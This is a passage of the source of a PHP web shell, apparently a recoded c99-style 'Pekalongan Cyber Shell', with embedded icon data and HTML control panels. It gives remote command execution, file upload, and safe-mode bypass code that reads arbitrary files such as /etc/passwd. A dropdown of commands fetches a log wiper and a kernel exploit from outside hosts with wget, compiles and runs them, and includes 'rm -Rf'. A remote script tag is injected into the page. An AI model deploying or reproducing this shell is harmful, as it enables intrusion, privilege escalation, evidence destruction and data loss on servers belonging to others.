2952 "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
2953 "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
2954 "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
2955 "ADs=",
2956 "ext_jpg"=>
2957 "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
2958 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
2959 "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
2960 "FxEAOw==",
2961 "ext_js"=>
2962 "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
2963 "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
2964 "a00AjYYBbc/o9HjNniUAADs=",
2965 "ext_lnk"=>
2966 "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
2967 "NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
2968 "Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
2969 "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
2970 "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
2971 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2972 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2973 "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
2974 "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
2975 "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
2976 "ADs=",
2977 "ext_log"=>
2978 "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
2979 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
2980 "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
2981 "ext_php"=>
2982 "R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg".
2983 "t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
2984 "ext_pl"=>
2985 "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
2986 "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
2987 "ext_swf"=>
2988 "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
2989 "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
2990 "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
2991 "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
2992 "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
2993 "ext_tar"=>
2994 "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
2995 "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
2996 "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
2997 "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
2998 "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2999 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
3000 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
3001 "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
3002 "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
3003 "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
3004 "u4tLAgEAOw==",
3005 "ext_txt"=>
3006 "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
3007 "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
3008 "UpPWG3Ig6Hq/XmRjuZwkAAA7",
3009 "ext_wri"=>
3010 "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
3011 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
3012 "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
3013 "ext_xml"=>
3014 "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
3015 "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
3016 "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
3017 "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
3018 "IQA7"
3019  );
3020  //For simple size- and speed-optimization.
3021  $imgequals = array(
3022   "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
3023   "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
3024   "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
3025   "ext_html"=>array("ext_html","ext_htm"),
3026   "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
3027   "ext_lnk"=>array("ext_lnk","ext_url"),
3028   "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
3029   "ext_doc"=>array("ext_doc","ext_dot"),
3030   "ext_js"=>array("ext_js","ext_vbs"),
3031   "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
3032   "ext_wri"=>array("ext_wri","ext_rtf"),
3033   "ext_swf"=>array("ext_swf","ext_fla"),
3034   "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
3035   "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
3036  );
3037  if (!$getall)
3038  {
3039   header("Content-type: image/gif");
3040   header("Cache-control: public");
3041   header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
3042   header("Cache-control: max-age=".(60*60*24*7));
3043   header("Last-Modified: ".date("r",filemtime(__FILE__)));
3044   foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
3045   if (empty($images[$img])) {$img = "small_unk";}
3046   if (in_array($img,$ext_tar)) {$img = "ext_tar";}
3047   echo base64_decode($images[$img]);
3048  }
3049  else
3050  {
3051   foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
3052   natsort($images);
3053   $k = array_keys($images);
3054   echo  "<center>";
3055   foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
3056   echo "</center>";
3057  }
3058  exit;
3059 }
3060 if ($act == "about") {echo "<center>Recoded by <br> k4L0ng666 <br> </center>";}
3061 ?>
3062 </td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1>
3063 <tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr>
3064 <tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE>
3065 <br>
3066 <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1>
3067 <tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Shadow's tricks <img src="/wp-includes/images/smilies/icon_biggrin.gif" alt=":D" class="wp-smiley" /> </b></a> ::</b></p></td></tr>
3068 <tr>
3069   <td width="50%" height="83" valign="top"><center>
3070     <div align="center">Useful Commands 
3071     </div>
3072     <form action="<?php echo $surl; ?>">
3073       <div align="center">
3074         <input type=hidden name=act value="cmd">
3075         <input type=hidden name="d" value="<?php echo $dispd; ?>">
3076           <SELECT NAME="cmd">
3077             <OPTION VALUE="uname -a">Kernel version
3078               <OPTION VALUE="w">Logged in users
3079                 <OPTION VALUE="lastlog">Last to connect
3080                   <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins
3081                     <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!
3082                     <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?
3083                     <OPTION VALUE="which wget curl w3m lynx">Downloaders?
3084                     <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO
3085 <Script src="http://khalidmoro.com/rasoul/rasoul/images/rasoolB.gif"></Script>
3086                     <OPTION VALUE="netstat -atup | grep IST">Open ports
3087                     <OPTION VALUE="locate gcc">gcc installed?
3088                    <OPTION VALUE="rm -Rf">Format box (DANGEROUS)
3089                     <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed)
3090                     <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2
3091                     <OPTION VALUE="./zap2">WIPELOGS PT3
3092                     <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed)
3093                     <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1)
3094                     <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2)
3095                     <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3)
3096                     <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4)
3097                     <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5)
3098                   </SELECT>
3099         <input type=hidden name="cmd_txt" value="1">
3100         &nbsp;
3101         <input type=submit name=submit value="Execute">
3102           <br>
3103         Warning. Kernel may be alerted using higher levels </div>
3104     </form>
3105     </td>
3106   <td width="50%" height="83" valign="top"><center>
3107    <center>Kernel Info: <form name="form1" method="post" action="http://google.com/search">
3108       <input name="q" type="text" id="q" value="<?php echo wordwrap(php_uname()); ?>">
3109       <input type="hidden" name="client" value="firefox-a">
3110      <input type="hidden" name="rls" value="org.mozilla:en-US:official">
3111      <input type="hidden" name="hl" value="en">
3112      <input type="hidden" name="hs" value="b7p">
3113      <input type=submit name="btnG" VALUE="Search">
3114     </form></center>
3115     </td>
3116 </tr></TABLE><br>
3117 <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1>
3118 <tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Preddy's tricks <img src="/wp-includes/images/smilies/icon_biggrin.gif" alt=":D" class="wp-smiley" /> </b></a> ::</b></p></td></tr>
3119 <tr>
3120   <td width="50%" height="83" valign="top"><center>
3121     <div align="center">Php Safe-Mode Bypass (Read Files)
3122     </div><br>
3123     <form action="<?php echo $surl; ?>">
3124       <div align="center">
3125       File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br>
3126       
3127       
3128       
3129            
3130       
3131       
3132       <?
3133       
3134       function rsg_read()
3135    {    
3136    $test="";
3137    $temp=tempnam($test, "cx");
3138    $file=$_GET['file'];   
3139    $get=htmlspecialchars($file);
3140    echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>";
3141    if(copy("compress.zlib://".$file, $temp)){
3142    $fichier = fopen($temp, "r");
3143    $action = fread($fichier, filesize($temp));
3144    fclose($fichier);
3145    $source=htmlspecialchars($action);
3146    echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>";
3147    unlink($temp);
3148    } else {
3149    die("<FONT COLOR=\"RED\"><CENTER>Sorry... File
3150   <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have
3151   access.</CENTER></FONT>");
3152            }
3153    echo "</div>";
3154    }
3155    
3156    if(isset($_GET['file']))
3157 {
3158 rsg_read();
3159 }
3160    
3161    ?>
3162    
3163    <?
3164    
3165    function rsg_glob()
3166 {
3167 $chemin=$_GET['directory'];
3168 $files = glob("$chemin*");
3169 echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>";
3170 foreach ($files as $filename) {
3171    echo "<pre>";
3172    echo "$filename
3173 ";
3174    echo "</pre>";
3175 }
3176 }
3177 
3178 if(isset($_GET['directory']))
3179 {
3180 rsg_glob();
3181 }
3182 
3183 ?>
3184 
3185           <br>
3186       </div>
3187     </form>
3188     </td>
3189   <td width="50%" height="83" valign="top"><center>
3190    <center>Php Safe-Mode Bypass (List Directories):     <form action="<?php echo $surl; ?>">
3191       <div align="center"><br>
3192       Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br>
3193 
3194     </form></center>
3195     </td>
3196 </tr></TABLE><br>
3197 <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1>
3198 <tr>
3199  <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td>
3200  <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?>
3201 </form></center></td>
3202 </tr>
3203 </table>
3204 <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table>
3205 <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table>
3206 <br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[  <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>Modded by</b></u></a> NomiE <font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table>
3207 </body></html><?php chdir($lastdir); exit();

Pekalongan Cyber Shell screenshot

Pekalong Cyber Shell screenshot

Pekalong Cyber Shell screenshot